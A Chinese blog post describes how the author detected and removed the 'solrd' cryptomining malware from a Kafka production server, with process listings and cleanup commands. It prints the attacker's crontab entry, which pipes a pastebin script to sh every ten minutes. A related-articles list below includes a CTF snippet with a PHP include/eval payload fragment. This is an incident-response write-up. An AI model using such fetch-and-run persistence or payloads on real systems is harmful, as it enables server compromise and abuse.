记录清除挖矿病毒 solrd 过程

1、发现solrd病毒

端午节期间,kafka 服务器被黑客攻击了,植入了挖矿病毒 solrd,这个病毒很聪明,内存,CPU并没有异常升高,以致于上班第一天完全没有察觉。
上班第一天 正常登录服务器查看 flink ,消费kafka 服务有没有 挂掉,习惯性的使用了jps 如下:

[root@linuxdevname1 ~]# jps
26770 -- process information unavailable
5220 -- process information unavailable
23686 -- process information unavailable
32711 -- process information unavailable
6855 -- process information unavailable
28425 -- process information unavailable
2746 -- process information unavailable
1212 -- process information unavailable
17213 -- process information unavailable
6127 -- process information unavailable

process information unavailable 这使我很郁闷,此时还没有察觉 到病毒导致的,于是百度了一下 这些关键字 网上的大神都是说 删除 tmp 目录下hsperfdata_* 文件夹 rm -rf /tmp/hsperfdata_*
在这里插入图片描述
跟着一顿操作猛如虎

[root@linuxdevname1 tmp]# rm -rf hsperfdata_*
[root@linuxdevname1 tmp]# jps
19249 Jps

删除完成发现 所有进程都不见了,此时吓懵了,因为是现网,产线还有很多消息正在往kafka里写数据,。定眼一看,内存和CPU并没有下降,所以我判断 kafka 进程并没有挂掉,只是jps 不显示 而已
然后立马top -c 了一下

[root@linuxdevname1 ~]# top -c
top - 14:10:57 up 691 days, 21:18,  2 users,  load average: 3.44, 2.83, 2.86
Tasks: 142 total,   3 running, 139 sleeping,   0 stopped,   0 zombie
%Cpu(s): 19.3 us, 33.2 sy,  0.0 ni, 47.2 id,  0.0 wa,  0.0 hi,  0.3 si,  0.0 st
KiB Mem : 16266156 total,   182660 free,  9594172 used,  6489324 buff/cache
KiB Swap:  1048572 total,   394220 free,   654352 used.  6326952 avail Mem PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      8688 root      20   0 2441092   2.3g   2904 S   0.0 14.7   2112:12 /tmp/.solr/solrd                                                                                             
26770 root      20   0 5948868   1.3g   7444 S   2.0  8.2   7558:51 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
32711 root      20   0 5047692   1.2g  27912 S   1.0  8.0  55:51.95 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 1212 root      20   0 4339052 795856  22812 S   1.0  4.9  55:10.81 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 
23686 root      20   0 4350936 724604  17792 S   0.0  4.5 684:53.55 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-log-dinc/prod/xc-streamservice-log-school-di-1+ 
28425 root      20   0 4341528 669972  18080 S   0.7  4.1 396:46.52 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/log-active-user-dinc/prod/xc-streamservice-school-+ 
17213 root      20   0 4284844 639256  18060 S   0.3  3.9 671:41.14 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-login-dinc/prod/xc-streamservice-log-school-lo+ 6127 root      20   0 4735288 491552  11144 S   1.3  3.0 847:48.62 java -Xms512m -Xmx1024m -jar /xckj/bigdata/logservice/log-service-xc-2.0.0.jar                               2746 root      20   0 7858880 430304   4440 S   0.7  2.6   3546:17 java -jar /usr/local/eduman/eduman-register/eduman-register.jar                                              6855 root      20   0 3858544 382308   5176 S   0.3  2.4   1106:22 /usr/local/jdk1.8.0_121/bin/java -Xmx512M -Xms512M -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:Initiat+ 
20686 root      10 -10  179020  48100   6488 R   9.0  0.3   2385:33 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   
15682 root      20   0   88564  39268  39052 S   0.7  0.2   8:49.44 /usr/lib/systemd/systemd-journald                                                                            882 root      20   0  734548  31488  28236 S   0.3  0.2  61:41.73 /usr/sbin/rsyslogd -n                                                                                        
20675 root      10 -10  115704   9468   4832 S   0.7  0.1 493:20.19 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDun                                                          6117 root      20   0  158048   6404   4656 S   0.7  0.0   0:00.83 sshd: root@pts/0,pts/3                                                                                       6556 root      20   0  118312   4804   1728 S   0.0  0.0   0:00.04 -bash                                                                                                        6186 root      20   0  118312   4764   1688 S   0.0  0.0   0:00.04 -bash                                                                                                        6809 root      10 -10   62140   4516   3080 S   0.0  0.0 102:09.96 /usr/local/aegis/aegis_update/AliYunDunUpdate                                                                
19053 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 874 root      20   0  574284   4316    232 S   0.0  0.0 106:25.59 /usr/bin/python2 -Es /usr/sbin/tuned -l -P                                                                   5822 postfix   20   0   91968   4164   3144 S   0.0  0.0   0:00.09 pickup -l -t unix -u                                                                                         
19176 root      20   0  118252   3736    528 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19163 root      20   0  118252   3688    520 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19157 root      20   0  118252   3628    508 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19175 root      20   0  118252   3588    408 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19160 root      20   0  118252   3472    348 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19164 root      20   0  118252   3316    192 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 1 root      20   0  125696   3176   1716 S   0.0  0.0 173:43.90 /usr/lib/systemd/systemd --switched-root --system --deserialize 22                                           8464 root      20   0  162860   3112   1592 S   0.0  0.0   0:00.25 top                                                                                                          2342 root      20   0  163136   2968   1260 S   0.0  0.0   0:20.24 top  

此时看到消费kafka 服务都还在,没有注意到第一行的 /tmp/.solr/solrd 病毒,此时它还没有占用多少CPU跟内存。没有太在意它

就在今天 查看某一个定时任务为什么没有执行的时候 发现 crontab 里面的定时任务被删除了,莫名其妙的多了一个不认识的定时调度任务 访问一个地址

[root@linuxdevname1 ~]# crontab -e
*/10 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | sh

瞬时意识到 服务器被攻击了,立马注释 crontab 这条记录保存的时候发现 保持不了

[root@linuxdevname1 tmp]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.linuxdevname1.XXXXx0RbdC to /var/spool/cron/root
rename: 不允许的操作
crontab: edits left in /tmp/crontab.5Oev80

于是乎继续百度 发现是 /var/spool/cron 文件夹下的 root 文件被锁了 ,于是使用
chattr -a /etc/crontab
chattr -i /etc/crontab
解锁

[root@linuxdevname1 cron]# lsattr /var/spool/cron/
-----ia-------e-- /var/spool/cron/root
[root@linuxdevname1 cron]# chattr -i /var/spool/cron/
[root@linuxdevname1 cron]# chattr -a /var/spool/cron/再次查看 
[root@linuxdevname1 cron]# lsattr /var/spool/cron/
------------e-- /var/spool/cron/root

解锁完成后发现hosts 也被锁住了,里面的内容也被删除了,于是使用相同的办法解锁

解锁完成后,再编辑 crontab 终于可以修改保存了。

突然间发现内存和CPU异常升高,CPU 100%
使用top -c 命令 此时发现了CPU 118% 病毒 solrd (你小子隐藏的挺深啊,昨天都没在意你)

[root@linuxdevname1 ~]# top -c
top - 14:05:26 up 692 days, 21:13, 14 users,  load average: 23.88, 19.97, 18.49
Tasks: 328 total,  25 running, 296 sleeping,   0 stopped,   7 zombie
%Cpu(s): 57.2 us, 42.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.2 si,  0.0 st
KiB Mem : 16266156 total,  3311844 free,  6375112 used,  6579200 buff/cache
KiB Swap:  1048572 total,   394232 free,   654340 used.  9545852 avail Mem PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      
29242 root      20   0 2434376   1.4g   2784 S 118.0  8.8   0:35.39 /tmp/.solr/solrd                                                                                             
20686 root      10 -10  180048  49084   6444 R   8.8  0.3   2514:18 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   1212 root      20   0 4339052 795680  22724 S   1.0  4.9  68:28.88 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 1830 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 1833 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 2548 root      20   0  118248   4452   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   2932 root      20   0  118248   4464   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   3458 root      20   0  158052   6540   4752 S   1.0  0.0   0:59.78 sshd: root@pts/14,pts/15                                                                                     3519 root      20   0  118248   4292   1348 S   1.0  0.0   0:00.03 bash -c ls --color=never -l /proc/*/exe                                                                      3583 root      20   0  117720   4012   1344 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   8059 root      20   0  163300   3372   1608 S   1.0  0.0   0:45.08 top                                                                                                          
23015 root      20   0  159012   7492   4656 S   1.0  0.0   1:57.77 sshd: root@pts/0,pts/3                                                                                       
26770 root      20   0 5948868   1.3g   7560 S   1.0  8.2   7576:11 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
31668 root      20   0  163412   3468   1608 R   1.0  0.0   0:44.29 top                                                                                                          
32711 root      20   0 5012824   1.2g  27848 S   1.0  7.9  89:48.80 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 1597 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 1713 root      20   0  158048   6536   4752 S   0.7  0.0   1:02.47 sshd: root@pts/10,pts/11                                                                                     1818 root      20   0  118248   4464   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      1831 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 1832 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      2229 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   2724 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 3517 root      20   0  118252   4456   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|31751|725|904|1076|1597|1818|1830|1831|1832|1833|2229|2474|2548|31+ 3693 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 3741 root      20   0  118248   4292   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      3743 root      20   0  118252   4452   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|31999|904|1597|1818|1830|1831|1832|1833|2229|2548|2724|29+ 4434 root      20   0  117724   4044   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|904|1597|1818|1830|1831|1832|2229|2548|2724|293+ 4435 root      20   0  117720   4040   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      4802 root      20   0  117720   4016   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   4852 root      20   0  117724   4040   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 4885 root      20   0  158272   6844   4752 S   0.7  0.0   1:13.79 sshd: root@pts/4,pts/5                                                                                       4933 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|8059|23015|904|1597|1818|1830|1831|COMMAND"      4936 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      5042 root      20   0  117720   4016   1344 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   5055 root      20   0  116532   2696   1340 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   8947 root      20   0  163296   3532   1608 S   0.7  0.0   0:39.86 top                                                                                                          
13023 root      20   0  162412   2624   1680 R   0.7  0.0   0:00.15 top -c                                                                                                       
16498 root      20   0  163300   3448   1608 S   0.7  0.0   0:38.02 top                                                                                                          
17791 root      20   0  158056   6544   4752 S   0.7  0.0   1:08.38 sshd: root@pts/8,pts/9 

于是乎,立马进行kill

[root@linuxdevname1 ~]# kill -9 29242
[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

刚kill 完成 再次top -c 发现这个病毒有换了一个进程的id 又起来了,试了几次都没用,于是 查到病毒执行的文件夹

[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

找到目录后,直接删除 rm -rf /tmp/.solr/solrd
然后 再kill 掉solrd 进程发现solrd 病毒 没有再起来了
CPU 内存对应的降到正常情况。
于是紧急关闭了阿里云出入防火墙其他不用的端口。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/352324.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云和运维(SRE)的半生缘-深读实证02

这个标题不算太夸张,云计算和很多IT岗位都有缘,但是和运维(SRE)岗位的缘分最深。 “深读实证”系列文章都会结合一些外部事件,点明分析《云计算行业进阶指南》书中的内容。本次分享介绍了下列内容: 我以运维…

ctfshow web 单身杯

web签到 <?phperror_reporting(0); highlight_file(__FILE__);$file $_POST[file];if(isset($file)){if(strrev($file)$file){ //翻转函数include $file;}}要进行反转并且包含文件用data协议 自己写不好写可以用函数帮你翻转 <?php $adata:text/plain,<?eval(…

Cisco Packet Tracer实验(五)不同vlan间的通信简单配置

1&#xff0e;单臂路由(图) 环境&#xff1a;一台路由器&#xff0c;一台二层交换机&#xff0c;两台pc机 单臂路由&#xff08;Single Arm Routing&#xff09;是指在网络架构中&#xff0c;只有一个物理接口&#xff08;单臂&#xff09;连接到路由器三层交换机&#xff0c;而…

大数据分析-二手车用户数据可视化分析

项目背景 在当今的大数据时代&#xff0c;数据可视化扮演着至关重要的角色。随着信息的爆炸式增长&#xff0c;我们面临着前所未有的数据挑战。这些数据可能来自社交媒体、商业交易、科学研究、医疗记录等各个领域&#xff0c;它们庞大而复杂&#xff0c;难以通过传统的数据处…

【漏洞复现】飞企互联-FE企业运营管理平台 treeXml.jsp SQL注入漏洞

0x01 产品简介 飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。这个平台可以连接人、链接端、联通内外&#xff0c;支持企业B2B、C2B与020等核心需求&#xff0c;为不同行业客户的互联网转型提供支持。其特色在于提供…

eclipse如何导入springboot项目

打开eclipse 找到你的springboot项目 点击finish即可 test02就已经导入进去了 配置一下maven 在将那个springboot项目刷新一下即可 运行成功

怎么把网页上的接口信息导入postman

第一步 打开f12&#xff0c;右键选中需要的接口。选择copy-copy as cURL 第二步 打开postman&#xff0c;选择"Raw Text"&#xff0c; 把刚才复制的curl粘贴到空白位置&#xff0c;点击Continue - 最后的效果。导入的接口自带cookie&#xff0c;不用再输入cookie&a…

服务器----阿里云服务器重启或关机,远程连接进不去,个人博客无法打开

问题描述 在使用阿里云免费的新加坡服务器时&#xff0c;发现重启或者是关机在开服务器后&#xff0c;就会出现远程连接不上、个人博客访问不了等问题 解决方法 进入救援模式连接主机&#xff0c;用户名是root&#xff0c;密码是自己设置的 点击访问博客查看更多内容

【Linux】进程_7

文章目录 五、进程8. 进程地址空间9. 进程终止10. 进程等待 未完待续 五、进程 8. 进程地址空间 我们上节知道了进程地址空间是根据页表来使虚拟地址转换成内存中的物理地址&#xff0c;那这种 地址空间 页表 的机制有什么好处呢&#xff1f;①这种机制可以将物理内存从无序…

Luma AI如何注册:文生视频领域的新星

文章目录 Luma AI如何注册&#xff1a;文生视频领域的新星一、Luma 注册方式二、Luma 的效果三、Luma 的优势四、Luma 的功能总结 Luma AI如何注册&#xff1a;文生视频领域的新星 近年来&#xff0c;Luma AI 凭借其在文生视频领域的创新技术&#xff0c;逐渐成为行业的新星。…

python文件操作、文件操作、读写文件、写模式

with读取文件数据内容 with open(filepath,mode,encoding) as file:#具体操作,例如&#xff1a;print(file.read())#查看文件所有的内容。 with&#xff1a;Python中的一个上下文管理器&#xff0c;用于简化资源的管理和释放。它可以用于任意需要进行资源分配和释放的情境…

4.类,方法,对象

1.1.2. 面向对象程序设计的三大特征 1.1.2.1. 封装 面向对象编程核心思想之一就是将数据和对数据的操作封装在一起&#xff0c;形成一般的概念&#xff0c;比如类的概念。 1.1.2.2. 继承 继承体现了一种先进的编程模式。子类可以继承父类的属性和方法。 1.1.2.3. 多态 多…

安装 Nuxt.js 的步骤和注意事项

title: 安装 Nuxt.js 的步骤和注意事项 date: 2024/6/17 updated: 2024/6/17 author: cmdragon excerpt: Nuxt.js在Vue.js基础上提供的服务器端渲染框架优势&#xff0c;包括提高开发效率、代码维护性和应用性能。指南详细说明了从环境准备、Nuxt.js安装配置到进阶部署技巧&…

【S32K 进阶之旅】 将 EB 配置生成的 MCAL 代码集成到 S32DS 中

本文介绍如何使用 S32DS 进行 AUTOSAR MCAL 工程的编译和调试&#xff0c;重点在于将 EB 配置生成的 MCAL 代码集成到 S32DS 中。 虽然配置过程较为繁琐&#xff0c;实操过一遍就会熟悉整个工程的框架。以后每次在 EB 中更新配置&#xff0c;生成代码的文件夹已经集成在 S32DS…

ROS系统中解析通过CAN协议传输的超声波传感器数据

CAN Bus接口设置&#xff1a;确保你的ROS系统可以通过CAN Bus接口与外部设备通信。这可能需要CAN卡或CAN适配器&#xff0c;以及相应的驱动程序和库。 CAN消息接收&#xff1a;配置ROS节点来监听特定的CAN ID&#xff0c;这通常是超声波传感器的标识符。 数据解析&#xff1a…

jvm必知必会-类的生命周期图文详解

类的生命周期描述了一个从加载、使用到卸载的过程; 而其中的 连接 部分又分为一下三个阶段: 验证准备解析6.1 加载阶段 Loading阶段第一步是 类加载器 会根据类全限定名通过不同的渠道以二进制流的方式获取字节码信息,程序员可以使用Java代码扩展不同的渠道。 比如通过 …

003 gitee怎样将默认的私有仓库变成公开仓库

先点击“管理”&#xff0c; 再点击“基本信息” 在“是否开源”里&#xff0c; 选择&#xff1a;开源

重学java 71.网络编程

人生不是坐等暴风雨过去&#xff0c;而是学会在雨中起舞 —— 24.6.14 一、网络编程的基础概念 1.概述&#xff1a; 在网络通信协议下,不同计算机上运行的程序,进行数据传输 比如&#xff1a;通信、视频通话、网络、邮件 只要是计算机之间通过网络进行数据传输&#xff0c;就有…

OpenGL3.3_C++_Windows(11)

git submodule项目子模块 Git Submodule &#xff08;子模块的代码并不直接存储在父仓库中&#xff0c;而是通过一个指针来维护&#xff09;克隆含有子模块的仓库时&#xff0c;使用git管理Git Clone &#xff08;复制一份完整的Git仓库到本地&#xff09;若仓库包含子模块&am…

vivado PIN

描述 引脚是基元或层次单元上的逻辑连接点。引脚允许 要抽象掉单元格的内容&#xff0c;并简化逻辑以便于使用。引脚可以 是标量的&#xff0c;包含单个连接&#xff0c;或者可以定义为对多个进行分组的总线引脚 信号在一起。 相关对象 引脚连接到一个单元&#xff0c;并且可以…